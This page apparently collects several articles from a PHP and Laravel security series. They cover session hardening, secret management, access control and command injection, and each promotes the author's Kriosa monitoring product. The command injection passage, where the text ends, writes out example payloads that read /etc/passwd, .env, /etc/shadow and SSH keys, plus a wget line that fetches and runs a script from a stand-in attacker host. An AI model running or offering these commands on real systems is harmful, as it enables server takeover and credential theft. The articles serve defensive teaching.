DEV Community: Nchiminyi — Founder, Kriosa

Session Security in PHP — What Most Developers Get Wrong

Nchiminyi — Founder, Kriosa — Tue, 11 Aug 2026 07:00:00 +0000

ORIGINALLY PUBLISHED ON MEDIUM
The session ID is the key to your user's account. Here is every way attackers steal it and how to stop them.

This is the twelfth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning

Every article in this series follows the same principle: understand the attack before you try to stop it.

Session security is different from most vulnerabilities in this series. SQL injection, XSS, and path traversal attack your application directly. Session attacks attack the identity layer the mechanism that proves who a user is after they have authenticated. Get it wrong and it does not matter how secure the rest of your application is. An attacker with a valid session ID is indistinguishable from a legitimate user.

How PHP Sessions Work

When a user visits your PHP application PHP creates a session:

PHP generates a cryptographically random session ID
PHP stores that session ID in a cookie on the user's browser — by default called PHPSESSID
PHP stores session data on the server keyed by that session ID
On every subsequent request the browser sends the session cookie automatically
PHP reads the session ID from the cookie and restores the session

The session ID is the key to everything. Whoever holds that session ID can impersonate the user it belongs to. This is what every session attack targets.

Attack 1 — Session Hijacking

Session hijacking is when an attacker steals a valid session ID and uses it to impersonate the legitimate user.

Method 1 — XSS:

If your application has an XSS vulnerability an attacker injects JavaScript that reads the session cookie and sends it to their server. This is why the HttpOnly cookie attribute exists it prevents JavaScript from reading cookies entirely.

Method 2 — Network interception:

If your application runs over HTTP an attacker on the same network can intercept the session cookie from unencrypted traffic. This is why the Secure cookie attribute exists it tells the browser to only send the cookie over HTTPS.

Method 3 — Session IDs in URLs:

https://yoursite.com/dashboard?PHPSESSID=abc123def456

URL-based session IDs appear in server logs, browser history, and referrer headers. Stealing them requires no technical attack just access to a log file.

Method 4 — Predictable session IDs:

If session IDs are generated with weak randomness an attacker can predict or brute force them. PHP's default session ID generation is cryptographically secure — but custom session ID generation in older applications often is not.

Attack 2 — Session Fixation

The attacker does not steal a session ID they force the victim to use one the attacker already knows.

The attack sequence:

Attacker obtains a valid session ID: abc123
Attacker tricks the victim into using that session ID: https://yoursite.com/login?PHPSESSID=abc123
Victim logs in using session ID abc123
If your application does not generate a new session ID after login, session abc123 is now authenticated
Attacker uses session ID abc123 — which they have known all along to access the victim's account

The victim logged in successfully. The attacker never knew their password. The attack worked because the session ID did not change after authentication.

PHP Session Configuration A Production Baseline

; php.ini

; Never accept session IDs in URLs only in cookies
session.use_only_cookies = 1

; Prevent JavaScript from reading session cookies
session.cookie_httponly = 1

; Only send session cookies over HTTPS
session.cookie_secure = 1

; Restrict cookie to same-site requests
session.cookie_samesite = Lax

; Reject unrecognized session IDs
session.use_strict_mode = 1

; Set a reasonable session lifetime
session.gc_maxlifetime = 1440

The two most important settings:

session.use_only_cookies = 1 prevents PHP from accepting session IDs in URLs.

session.use_strict_mode = 1 rejects session IDs that PHP did not create.

Together these two settings eliminate the most common session fixation attack vector at the configuration level.

Fixing Session Fixation — Session Regeneration

Configuration alone is not enough. Your application must regenerate the session ID after every successful login:

session_start();

if ($credentialsAreValid) {
    // Regenerate the session ID and delete the old session data
    session_regenerate_id(true);

    // Now set authenticated session data
    $_SESSION['user_id'] = $user->id;
    $_SESSION['authenticated'] = true;
}

The true parameter deletes the old session data on the server. This removes the window an attacker could exploit if they had the previous session ID.

Also regenerate on privilege changes:

session_regenerate_id(true);
$_SESSION['role'] = 'admin';

Cookie Security Attributes

Every session cookie requires three security attributes.

HttpOnly — prevents JavaScript from reading the cookie:

session_set_cookie_params(['httponly' => true]);

Secure — HTTPS only:

session_set_cookie_params(['secure' => true]);

SameSite — controls cross-site cookie sending:

session_set_cookie_params(['samesite' => 'Lax']);

Lax provides meaningful CSRF protection while preserving most legitimate use cases. Strict is strongest but breaks flows like clicking an external link into an authenticated state. None always sends the cookie only for intentional cross-site use cases and only with Secure.

The complete secure session setup:

// Call before session_start()
session_set_cookie_params([
    'lifetime' => 0,        // Expires when browser closes
    'path'     => '/',
    'domain'   => '',
    'secure'   => true,     // HTTPS only
    'httponly' => true,     // No JavaScript access
    'samesite' => 'Lax',   // CSRF protection
]);

session_start();

Session Storage Security

By default PHP stores session data in files in /tmp. On shared hosting other tenants may be able to read your session files.

Database storage:

session_set_save_handler(new DatabaseSessionHandler($pdo), true);
session_start();

Redis:

session.save_handler = redis
session.save_path = "tcp://127.0.0.1:6379"

Database sessions give you the ability to invalidate specific sessions useful when you need to force a logout for a compromised account.

Laravel Session Configuration

Laravel abstracts PHP sessions behind its own session system. Configuration lives in config/session.php.

The critical production settings:

// config/session.php

// Encrypt session data at rest
'encrypt' => true,

// HTTPS only session cookie
'secure' => env('SESSION_SECURE_COOKIE', true),

// Prevent JavaScript from reading the cookie
'http_only' => true,

// CSRF protection
'same_site' => 'lax',

// Session lifetime in minutes
'lifetime' => env('SESSION_LIFETIME', 120),

// Session storage driver
'driver' => env('SESSION_DRIVER', 'redis'),

'encrypt' => true encrypts all session data using your APP_KEY. Even if an attacker gains access to your session storage they cannot read the contents without the encryption key.

Never use the file driver in production on shared hosting. Use database or redis.

Session Regeneration in Laravel

Laravel automatically regenerates the session ID on login when you use Auth::attempt() or Auth::login(). This is built into the framework.

If you build custom authentication or manually change privileges regenerate explicitly:

// Regenerate session ID — keep existing data
$request->session()->regenerate();

// Regenerate and invalidate the old session completely
$request->session()->invalidate();
$request->session()->regenerateToken();

regenerateToken() regenerates the CSRF token stored in the session. Call this alongside session regeneration after login CSRF token fixation mirrors session fixation and should be addressed at the same time.

Absolute Session Timeout

Idle timeout alone is not enough. A user who stays active can maintain a session indefinitely. Absolute timeout forces re-authentication after a fixed period regardless of activity:

$_SESSION['login_time'] = time();

$absoluteTimeout = 8 * 60 * 60; // 8 hours

if (time() - $_SESSION['login_time'] > $absoluteTimeout) {
    session_destroy();
    header('Location: /login?reason=timeout');
    exit;
}

In Laravel:

// config/session.php
'lifetime' => 480, // 8 hours in minutes

For applications handling sensitive data consider shorter absolute timeouts.

Secure Logout

Always completely destroy the session on logout not just unset session variables:

// Wrong — session ID still valid
unset($_SESSION['user_id']);

// Correct
session_start();
$_SESSION = [];

if (ini_get('session.use_cookies')) {
    $params = session_get_cookie_params();
    setcookie(
        session_name(), '',
        time() - 42000,
        $params['path'],
        $params['domain'],
        $params['secure'],
        $params['httponly']
    );
}

session_destroy();

In Laravel the correct logout sequence is three steps:

Auth::logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
return redirect('/');

Each step matters:

Auth::logout() clears authentication state and removes the user from the session
session()->invalidate() destroys the session and generates a new session ID
session()->regenerateToken() regenerates the CSRF token

Missing any of these leaves the old session potentially exploitable.

The Session Security Checklist

For plain PHP:

session.use_only_cookies = 1 — never accept session IDs in URLs
session.use_strict_mode = 1 — reject unrecognized session IDs
session.cookie_httponly = 1 — prevent JavaScript from reading cookies
session.cookie_secure = 1 — HTTPS only
session.cookie_samesite = Lax — CSRF protection
Call session_regenerate_id(true) after every successful login
Call session_regenerate_id(true) after every privilege change
Destroy the session completely on logout not just unset variables
Use database or Redis session storage in production
Implement absolute session timeout for sensitive applications

For Laravel:

'secure' => true in config/session.php
'http_only' => true in config/session.php
'encrypt' => true in config/session.php
'same_site' => 'lax' in config/session.php
Use database or redis session driver in production
Call all three logout methods on every logout
Never build custom authentication that skips session regeneration after login

Kriosa in Production Real Applications, Real Protection

The principles in this article are not hypothetical. Two production PHP applications are already running with Kriosa in front of them.

Prooflify — a design-proofing platform with client review workflows. Designers share work with clients, clients leave feedback, and the platform manages approval states. Every client session is a trust boundary the wrong session in the wrong hands could expose a client's unreleased creative work.

belle full — a production PHP application for bakers, secured with Kriosa from day one. It handles customer orders, client data, and business operations for a real business where a session breach means a real person's data and livelihood are at risk.

Both applications have Kriosa monitoring every incoming request before it reaches the application layer.

Where Kriosa Fits

Configure your sessions correctly first. Then put Kriosa in front of your application to detect suspicious requests and behavior that your application code alone cannot see.

Session attacks leave behavioral traces before they succeed requests containing session IDs in URL parameters on applications that should only use cookies, authenticated sessions appearing from unexpected locations, rapid requests cycling through session ID values that may indicate probing activity.

These are behavioral signals a security monitoring layer can detect and surface before a breach occurs.

Kriosa sits in front of your application and gives you visibility into suspicious requests before they reach your code with the XAI dashboard explaining exactly what was detected and why it was flagged.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: This article — session security in PHP and what most developers get wrong

Secrets in Laravel — Why `.env` Is Only the Beginning

Nchiminyi — Founder, Kriosa — Fri, 07 Aug 2026 13:15:01 +0000

Originally published on Medium
Most developers think adding .env to .gitignore solves secret management. It doesn't.

This is the eleventh article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough

Every article in this series follows the same principle: understand the attack before you try to stop it.

Secrets are different from every other topic in this series. SQL injection, XSS, path traversal those are vulnerabilities in your code. Secret leakage is a vulnerability in your process. It happens not because you wrote something wrong but because you stored, logged, or committed something in the wrong place.

And unlike a code vulnerability that can be patched an exposed secret that has been harvested by an automated scanner cannot be un-exposed. The only fix is rotation.

What Secrets Actually Are

Not all configuration is equal. There is a meaningful difference between configuration and secrets.

Configuration controls how your application behaves:

APP_NAME=MyApp
APP_URL=https://myapp.com
MAIL_MAILER=smtp
DB_HOST=localhost

Secrets grant access to systems, services, or data:

DB_PASSWORD=supersecretpassword
STRIPE_SECRET_KEY=sk_live_abc123
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI
MAIL_PASSWORD=mypassword
APP_KEY=base64:abc123...

Configuration can often be committed to version control. Secrets should never be. The distinction matters because secrets require fundamentally different handling different storage, different access controls, and a rotation plan for when they are compromised.

Most Laravel developers put both in .env and add .env to .gitignore. That solves one problem. It leaves five others untouched.

How Secrets Actually Leak

During internal testing of Kriosa, automated scanners were repeatedly observed probing for exposed .env files, backup archives, and forgotten configuration endpoints. Those reconnaissance requests happen long before an attacker attempts exploitation which is why secret exposure should be treated as both a prevention and a detection problem, not just a deployment concern.

Here is every vector through which secrets leave applications in practice.

Leak Vector 1 — Git History

A developer accidentally commits .env:

git add .
git commit -m "initial commit"

They realize the mistake and delete the file:

git rm .env
git commit -m "remove env file"

They think the problem is solved. It is not.

Git is designed to never lose history. The .env file and every secret it contained are permanently stored in the Git object database. Anyone with access to the repository can retrieve them:

git log --all --full-history -- .env
git show [commit-hash]:.env

Every secret that was ever in that file is recoverable even after deletion — unless the entire Git history is rewritten with a tool like git filter-repo.

Automated tools scan public GitHub repositories continuously looking for accidentally committed secrets. Within minutes of a secret being pushed to a public repository it has likely been harvested.

What to do:

Add .env to .gitignore before the first commit not after
If secrets were committed use git filter-repo to rewrite history
Immediately rotate every secret that was ever in the committed file
Never assume deletion from Git removes the data

Leak Vector 2 — Log Files

Laravel logs requests, errors, and debug information. If your application logs user input or request data and many do secrets can end up in log files in plain text.

Common patterns that cause secret leakage into logs:

// Logs everything — including Authorization headers and API keys
Log::info('Incoming request', $request->all());

// Logs the full exception context — may include secrets in memory
Log::error('Payment failed', ['data' => $request->all()]);

// Logs API responses that may contain tokens
Log::debug('API response', ['response' => $apiResponse]);

If a user submits a form with a field named api_key and you log $request->all() that key is now in your log file in plain text.

Laravel provides a way to prevent specific fields from appearing in logs through the exception handler:

// app/Exceptions/Handler.php — Laravel 10 and earlier
protected $dontFlash = [
    'current_password',
    'password',
    'password_confirmation',
];

Laravel does not automatically hide custom fields like api_key, token, or stripe_key. If your application accepts them extend the $dontFlash array or explicitly avoid logging those values:

protected $dontFlash = [
    'current_password',
    'password',
    'password_confirmation',
    'api_key',
    'token',
    'secret',
    'stripe_key',
    'aws_key',
];

Add every secret field name your application uses to this list.

Leak Vector 3 — Debug Mode and Error Pages

When APP_DEBUG=true in production, Laravel's error pages can expose sensitive configuration values, stack traces, file paths, and application internals. Depending on the error and configuration, this may include secrets or values derived from your environment.

APP_DEBUG=false  ← non-negotiable in production
APP_ENV=production

Even with debug mode off, verbose error handling can expose secrets:

// Stack traces may contain secret values that were in memory at the point of failure
Log::error($exception->getMessage(), $exception->getTrace());

Log the message. Be careful with the full trace when secrets may be in scope at the point of failure.

Leak Vector 4 — Hardcoded Secrets in Code

Developers sometimes hardcode secrets directly in code during development and forget to move them to environment variables before committing:

// Dangerous — committed to version control, visible to every developer
$stripe = new StripeClient('sk_live_abc123def456');

// Safe — loaded from config
$stripe = new StripeClient(config('services.stripe.secret'));

Hardcoded secrets are committed to version control, stored in deployment artifacts, visible in code reviews, and accessible to every developer with repository access. They are also the hardest to rotate because you have to find every place the secret appears in the codebase.

Leak Vector 5 — Third-Party Logging Services

Many Laravel applications send logs to third-party services Papertrail, Loggly, Datadog, Sentry. If secrets appear in your application logs they appear in these services too with their own retention policies, access controls, and security posture that you do not fully control.

If you send logs to a third-party service audit what is in those logs. Secrets that appear there need to be rotated and the logging configuration needs to be fixed before the rotation has any meaningful effect.

Laravel-Specific Secret Management

The APP_KEY

Laravel's APP_KEY is the most sensitive secret in a Laravel application. It is used to encrypt cookies, session data, and model fields encrypted with Laravel's encryption.

If your APP_KEY is compromised an attacker can decrypt all encrypted session data, forge signed cookies, and decrypt any fields encrypted with Laravel's encryption. Rotate it immediately if it is ever exposed but be aware that rotating the APP_KEY invalidates all existing sessions and encrypted data.

# Generate a new APP_KEY
php artisan key:generate

Using config() instead of env() directly

This is a Laravel best practice that most developers miss:

// Wrong — does not work correctly when config is cached
$key = env('STRIPE_SECRET_KEY');

// Correct — works with config caching
$key = config('services.stripe.secret');

Once configuration is cached with php artisan config:cache, you should only call env() from configuration files. Application code should access configuration through config(), ensuring values continue to work correctly when configuration is cached.

Define secrets in config files:

// config/services.php
'stripe' => [
    'secret' => env('STRIPE_SECRET_KEY'),
    'webhook_secret' => env('STRIPE_WEBHOOK_SECRET'),
],

Then access them through config() in your application code:

$key = config('services.stripe.secret');

Laravel's encrypted .env

Recent versions of Laravel support encrypted environment files:

# Encrypt your .env file  safe to commit the encrypted version
php artisan env:encrypt

# Decrypt on the server using the encryption key
php artisan env:decrypt --key=[encryption-key]

This allows you to commit an encrypted .env file to version control while keeping the decryption key separate. The decryption key itself must be stored and transmitted securely if it is compromised the encrypted file offers no protection.

Secret Rotation

Secret rotation means replacing a compromised or expired secret with a new one. Most developers never think about rotation until something goes wrong. By then the window of exposure may already be significant.

Rotate immediately when:

A secret was committed to a public repository
A developer with access to secrets leaves the team
A third-party service you use reports a breach
Your server was compromised
A secret appeared in logs that were accessed without authorization
You suspect any unauthorized access to a system that holds secrets

Laravel rotation checklist:

Generate a new value for the compromised secret
Update .env on every server
Update the secret in CI/CD pipelines and deployment configurations
Revoke the old secret at the source revoke the API key, change the database password, regenerate the APP_KEY
Verify the application works with the new secret
Audit logs for evidence of use of the compromised secret

The rotation problem most developers ignore:

You cannot rotate a secret you do not know exists. If secrets are scattered across codebases, hardcoded in old scripts, stored in developers' local .env files, and embedded in CI/CD configurations you cannot reliably rotate them when something goes wrong.

This is why centralization matters. Every secret in one place, with one rotation process, auditable and controllable.

Beyond .env — Secret Management for Production

For production applications .env files have real limitations. They are stored in plain text on the server. They are difficult to rotate across multiple servers simultaneously. They are not auditable. They are not versioned.

Options for Laravel in production:

AWS Secrets Manager:

$secret = Cache::remember(
    'db-secret',
    now()->addMinutes(10),
    function () use ($client) {
        $result = $client->getSecretValue([
            'SecretId' => 'myapp/production/db'
        ]);
        return json_decode($result['SecretString'], true);
    }
);

Note the caching without it every request hits the AWS API, adding latency and cost. Cache secrets locally for a short period and refresh them periodically.

Laravel Forge:

Laravel Forge provides a convenient interface for managing environment variables during deployment, but those values are still stored on the server. Forge simplifies management it is not a dedicated secret manager.

GitHub Actions Secrets and GitLab CI/CD Variables:

For CI/CD pipelines use your platform's built-in secret management rather than storing secrets in pipeline configuration files or repository variables visible to all developers.

The Secrets Security Checklist

.env is in .gitignore before the first commit not after
No secrets are hardcoded anywhere in the codebase
APP_DEBUG=false in all production environments
$dontFlash in the exception handler covers every secret field name your application uses
Secrets are never logged every Log:: call has been reviewed
config() is used instead of env() directly in application code
Every developer who leaves the team triggers immediate secret rotation
Git history has been audited for accidentally committed secrets
A rotation plan exists and has been tested for every secret in the application
Production secrets are stored in a secret manager not a plain text .env file

Secret management is never about hiding a single .env file.

It is about controlling where secrets live, limiting who can access them, rotating them when necessary, and detecting when someone is trying to steal them.

In production, Kriosa monitors incoming request patterns for behavioral signals of secret probing — requests targeting .env files, configuration endpoints, backup files, and Git metadata that may expose secrets. When reconnaissance activity targeting your secrets starts, the XAI dashboard surfaces it with an explanation of what was attempted and why it was flagged.

Prevention reduces exposure. Detection reveals compromise. Mature security requires both.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php
Then add,

Then at the entry or index.php add at the top before your code runs.


<?php
// After Composer installation
require_once 'vendor/autoload.php';

$apiKey = getenv('KRIOSA_API_KEY') ?: 'YOUR_API_KEY_HERE';
try {
    $kriosa = new Kriosa($apiKey, [
        'timeout'     => 3,
        'debug'       => false,
        'fail_closed' => false,
        'show_badge'  => true,
    ]);
    if (!$kriosa->protect()) {
        header('X-Kriosa-Blocked: true');
        http_response_code(403);
        exit('Access Denied');
    }
} catch (Exception $e) {
    error_log('Kriosa Security Error: ' . $e->getMessage());
}
// Your application continues safely...

See Documentation : Documentation
Built by a developer, for developers who want to understand their security — not just outsource it.
Sleep better we're awale - kriosa
The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app and what to hide
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: This article — secrets in Laravel and why .env is only the beginning

Broken Access Control in Laravel — Why Being Logged In Isn't Enough

Nchiminyi — Founder, Kriosa — Tue, 04 Aug 2026 10:02:29 +0000

This is the tenth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface

Every article in this series follows the same principle: understand the attack before you try to stop it.

Broken Access Control has been ranked the number one risk in the OWASP Top 10 since 2021. Not the most technically complex. The most common. Because developers assume that if a user is logged in they must be allowed to do what they are trying to do.

That assumption is wrong every time.

The Distinction Most Developers Miss

Authentication and authorization are two completely different things.

Authentication answers one question: who are you? You log in with your email and password. The system verifies your identity. You get a session.

Authorization answers a different question: what are you allowed to do? You are logged in — but can you access this specific resource? Can you edit this specific record? Can you see this specific user's data?

Broken access control happens when authentication works correctly but authorization is missing, incomplete, or wrong.

A developer who locks the front door but leaves every room inside unlocked has authentication without authorization. The attacker cannot get into the building. But once they are in — as any legitimate user — every unlocked room becomes accessible.

The Four Types of Broken Access Control

1. IDOR — Insecure Direct Object Reference

This is the most common and most exploited form of broken access control.

Your application shows a user their invoice:

https://yoursite.com/invoices/1234

The developer checked that the user is logged in. They did not check that invoice 1234 belongs to this user.

An attacker changes the URL:

https://yoursite.com/invoices/1235
https://yoursite.com/invoices/1236

They see someone else's invoice. Then another. They enumerate every invoice in your system by incrementing the number. Every customer's billing history. Every order. Every private document.

In production, this looks like a single authenticated user requesting dozens of sequential resource IDs in a short period. Traditional access logs record the requests but rarely highlight the pattern. Security monitoring tools such as Kriosa can identify this enumeration behavior and flag it as a potential authorization probe long before large amounts of data are exposed.

2. Missing Function-Level Access Control

A developer protects the admin dashboard with middleware but individual admin functions have no separate authorization check:

// Route is protected
Route::middleware(['auth', 'can:access-admin'])->group(function () {
    Route::get('/admin', [AdminController::class, 'index']);
});

// This API endpoint was added later and has no protection
Route::post('/api/delete-user', [AdminController::class, 'deleteUser']);

A regular user who discovers /api/delete-user calls it directly — bypassing middleware entirely because the API route was added separately and the developer forgot to protect it.

3. Privilege Escalation

Horizontal — accessing another user's data at the same privilege level. User A reading User B's messages. Commonly caused by IDOR.

Vertical — gaining higher privileges than your role allows. A regular user becoming an admin.

Example of vertical escalation through mass assignment:

// Dangerous — user controls their own role
$user->update([
    'name'  => $request->name,
    'email' => $request->email,
    'role'  => $request->role  // attacker sends role=admin
]);

If role is not protected from mass assignment an attacker updates their own role to admin through a standard profile update form.

4. Forced Browsing

An attacker directly accesses URLs that should be restricted:

/admin/users          — protected correctly
/admin/export-users   — developer forgot to protect this one

The attacker discovers /admin/export-users and downloads your entire user database. No exploit needed. Just a URL the developer forgot to add middleware to.

How Laravel Handles Authorization

1. Middleware — Who Can Access This Route

Route::middleware(['auth'])->group(function () {
    Route::get('/dashboard', [DashboardController::class, 'index']);
});

Route::middleware(['auth', 'can:access-admin'])->group(function () {
    Route::get('/admin', [AdminController::class, 'index']);
    Route::post('/admin/delete-user', [AdminController::class, 'deleteUser']);
});

The critical rule: every route that requires any form of access restriction must be inside the correct middleware group. Adding a new route outside the group — especially API routes — is how function-level access control vulnerabilities appear.

Good authorization prevents unauthorized access but it does not tell you when someone is actively searching for authorization weaknesses. Kriosa analyzes incoming requests for behaviors such as resource enumeration, repeated authorization failures, and suspicious access patterns that often precede a successful exploit.

The gap middleware does not fill: middleware checks who the user is and what permissions they have. It does not check whether this specific user owns this specific resource. For that you need gates or policies.

2. Gates — Can This User Perform This Action

// app/Providers/AuthServiceProvider.php
Gate::define('edit-post', function (User $user, Post $post): bool {
    return $user->id === $post->user_id;
});

// In your controller
public function edit(Post $post)
{
    Gate::authorize('edit-post', $post);
    return view('posts.edit', compact('post'));
}

If the gate returns false Laravel handles the 403 response automatically.

3. Policies — Organized Authorization for Models

php artisan make:policy InvoicePolicy --model=Invoice

// app/Policies/InvoicePolicy.php
class InvoicePolicy
{
    public function view(User $user, Invoice $invoice): bool
    {
        return $user->id === $invoice->user_id;
    }

    public function update(User $user, Invoice $invoice): bool
    {
        return $user->id === $invoice->user_id;
    }

    public function delete(User $user, Invoice $invoice): bool
    {
        return $user->id === $invoice->user_id
            || $user->isAdmin();
    }
}

// In your controller
public function show(Invoice $invoice)
{
    $this->authorize('view', $invoice);
    return view('invoices.show', compact('invoice'));
}

4. Form Requests — Authorization in Larger Applications

public function authorize(): bool
{
    return $this->user()->can('update', $this->invoice);
}

The IDOR Fix — Three Approaches

Approach 1 — Policy authorization:

// Dangerous — only checks authentication
public function show(Invoice $invoice)
{
    return view('invoices.show', compact('invoice'));
}

// Safe — checks ownership through policy
public function show(Invoice $invoice)
{
    $this->authorize('view', $invoice);
    return view('invoices.show', compact('invoice'));
}

Approach 2 — Scoped queries:

// This can never return another user's invoice
public function show(int $id)
{
    $invoice = auth()->user()->invoices()->findOrFail($id);
    return view('invoices.show', compact('invoice'));
}

Approach 3 — Scoped route model binding (strongest):

Route::get(
    '/users/{user}/invoices/{invoice}',
    InvoiceController::class
)->scopeBindings();

This automatically ensures the invoice belongs to the specified user without any manual ownership check in the controller.

Protecting Against Mass Assignment Privilege Escalation

// app/Models/User.php
protected $fillable = [
    'name',
    'email',
    'password',
    // role and is_admin are NOT here
];

Or blacklist instead:

protected $guarded = ['role', 'is_admin', 'permissions'];

Pick one approach and stick to it. Never include role, is_admin, or permissions in $fillable.

API Routes and Authorization

API routes are the most common place authorization is forgotten:

Route::middleware(['auth:sanctum'])->group(function () {
    Route::get('/invoices/{invoice}', function (Invoice $invoice) {
        $this->authorize('view', $invoice);
        return response()->json($invoice);
    });
});

Being authenticated via Sanctum does not mean the user is authorized to access this specific invoice. The ownership check is required on every API endpoint that returns user-specific data.

Cleaner with scoped route model binding:

Route::get(
    '/users/{user}/invoices/{invoice}',
    [InvoiceApiController::class, 'show']
)->scopeBindings()->middleware('auth:sanctum');

The Authorization Checklist

For every route in your application ask these questions:

Is this route inside the correct middleware group?
Does every API route have the same authorization as its web equivalent?
For routes that return a specific resource — is there an ownership check via policy, gate, or scoped query?
Are sensitive fields like role and is_admin excluded from $fillable?
Are admin-only functions inside admin middleware — including API endpoints added later?
Does your application use policies for resource-level authorization rather than ad-hoc checks scattered across controllers?
Have you considered scoped route model binding for nested resources?

If any of these questions has no clear answer in your code — you have a broken access control vulnerability waiting to be found.

Where Detection Fits

Broken access control attacks are harder to detect than SQL injection or XSS because the requests themselves look legitimate. An authenticated user accessing /invoices/1235 when they own /invoices/1234 sends a request that looks completely normal at the HTTP layer.

What is detectable is the pattern:

Rapid sequential requests to the same resource type with incrementing IDs
Multiple 403 Forbidden responses from the same authenticated account
Access attempts to resources owned by different users
Requests to privileged endpoints from accounts without the required permissions

This is exactly where Kriosa fits into the security stack. Laravel policies, gates, and middleware prevent unauthorized actions. Kriosa complements those controls by monitoring incoming requests for behavioral indicators of authorization probing — sequential ID enumeration, repeated 403 responses, and attempts to access privileged endpoints. Instead of simply blocking requests, its Explainable AI dashboard shows why a request was considered suspicious, helping developers understand what attackers are trying to do.

Prevention stops the breach. Detection tells you someone is trying to find one.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app and what to hide
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: This article — broken access control in Laravel and why being logged in is not enough

Command Injection in PHP — When exec() Becomes an Attack Surface

Nchiminyi — Founder, Kriosa — Fri, 31 Jul 2026 12:45:44 +0000

Orinally published on Medium and Kriosa
One unsanitized argument reaching a shell function is all an attacker needs to own your server. Here's how command injection works, why blacklist filters always fail, and the fixes that actually stop it.
This is the ninth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application

Every article in this series follows the same principle: understand the attack before you try to stop it.

Command injection is no different. And it is the most severe vulnerability in this series — because it does not just expose your data. It hands an attacker the keys to your entire server.

What Command Injection Actually Is

Command injection is an attack where an attacker injects operating system commands into your application and your server executes them.

It is similar in structure to SQL injection — user input gets interpreted as a command instead of data. But the consequences are more immediate and more severe. SQL injection attacks your database. Command injection attacks your entire server.

One unsanitized argument. One shell function. Full server takeover.

Why PHP Is Particularly Exposed

PHP has several functions that execute operating system commands directly:

exec()
shell_exec()
system()
passthru()
popen()
proc_open()
// And the backtick operator
`command`

These functions exist for legitimate reasons — generating image thumbnails, converting file formats, sending emails via sendmail, running system utilities. The problem is when user input reaches them without sanitization.

The Attack in Plain Terms

Your application converts uploaded images:

$filename = $_GET['file'];
$output = shell_exec('convert ' . $filename . ' -resize 800x600 output.jpg');

A legitimate user sends:

file=photo.jpg

The command becomes:

convert photo.jpg -resize 800x600 output.jpg

Clean. Expected. Safe.

An attacker sends:

file=photo.jpg; cat /etc/passwd

The command becomes:

convert photo.jpg -resize 800x600 output.jpg; cat /etc/passwd

The semicolon tells the shell: run the first command, then run the second. Your server outputs the contents of /etc/passwd. The attacker now knows every user account on the system.

That is command injection. One semicolon. One unsanitized input. Complete information disclosure.

The Command Chaining Characters

Attackers use several characters to chain commands:

; — run command1 then command2
&& — run command2 only if command1 succeeds
|| — run command2 only if command1 fails
| — pipe output of command1 into command2
command — backtick executes command inline
$(command) — subshell execution
\n — newline separates commands in some contexts
Each works differently. All achieve the same result — injecting additional commands into your shell execution.

What Attackers Do After Getting Command Execution

Once an attacker has command execution they move fast.

Read sensitive files:

cat /var/www/.env
cat /etc/shadow
cat ~/.ssh/id_rsa

Download and execute malware:

wget https://attacker.com/malware.sh -O /tmp/m.sh && chmod +x /tmp/m.sh && /tmp/m.sh

